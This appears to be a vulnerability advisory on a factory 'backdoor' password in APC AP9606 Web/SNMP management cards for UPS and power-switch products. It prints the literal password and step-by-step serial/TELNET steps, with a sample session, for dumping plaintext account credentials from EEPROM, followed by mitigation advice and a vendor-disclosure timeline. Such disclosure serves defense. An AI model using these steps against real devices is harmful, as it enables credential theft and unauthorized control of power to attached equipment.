APC (American Power Conversion) SmartSwitch and UPS (uninterruptible power supply) products have a Web and SNMP management card installed that permits local serial console, TELNET, web and SNMP management, monitoring and mains power control of attached devices.
APC SmartSlot Web/SNMP management cards have a "backdoor" password that can be abused to extract plain text username/password details for all accounts and hence gain unauthorized full control of the device.
* SmartUPS 3000RM with AP9606 AOS v3.2.1 and SmartUPS App v3.2.6
* MasterSwitch AP9212 with AP9606 AOS v3.0.3 and MasterSwitch App v2.2.0
* Silcon DP3320E with Web/SNMP Management Card AP9606 - AOS v3.0.1
* Silcon DP340E with Web/SNMP Management Card AP9606 - AOS v3.0.1
The "backdoor" password is designed for use by the factory for initial configuration of the card, e.g. MAC Address, Serial Number etc. However, it is possible to dump the contents of EEPROM which amongst other things stores the account usernames and passwords.
The "backdoor" password is accepted via either the local serial port or TELNET. Use of the password on the web interface does not appear to be possible.
To recreate (typical example):
Connect a console to the serial port or TELNET to the card. At the username prompt use any username. The password is all alphabetic characters and is case sensitive: TENmanUFactOryPOWER
At the selection prompt, type 13 and press return. Type the byte address of the EEPROM location to view, e.g. 1d0 and press return. Look carefully for the username and password pairs. Different firmware revisions may have the account details at different EEPROM locations. The accounts in the example below are the default accounts after their passwords have been changed.
Username: apc???????????Password: BBCCDDEEF
Username: device????????Password: AAAABBBBB
Press return to get back to the Factory Menu and press ctrl-A to logout. You can now TELNET to the card again and use the account details you've just recovered to log into and control the device.
You should use the other selections with extreme care. You may cause irreparable damage and will most certainly invalidate any warranty. The EEPROM also contains other user-configurable options in either plain text or binary encoded form. They are not detailed in this advisory.
[root@always root]# telnet 192.168.1.1
Connected to 192.168.1.1.
Escape character is '^]'.
User Name : phade
Password ?: TENmanUFactOryPOWER
<CTRL-A> to exit
500 C0 B7 A2 C8 2D
Ensure that access to the local serial port is physically restricted and disable the TELNET interface as described in the device documentation. A patched version of the firmware which requires the management password to be entered before accessing the factory settings may be available from APC.
APC were first notified six months ago on 12th August 2003 and were initially helpful in patching the problem. However, after testing a couple of beta fixes I've heard nothing for over 3 months.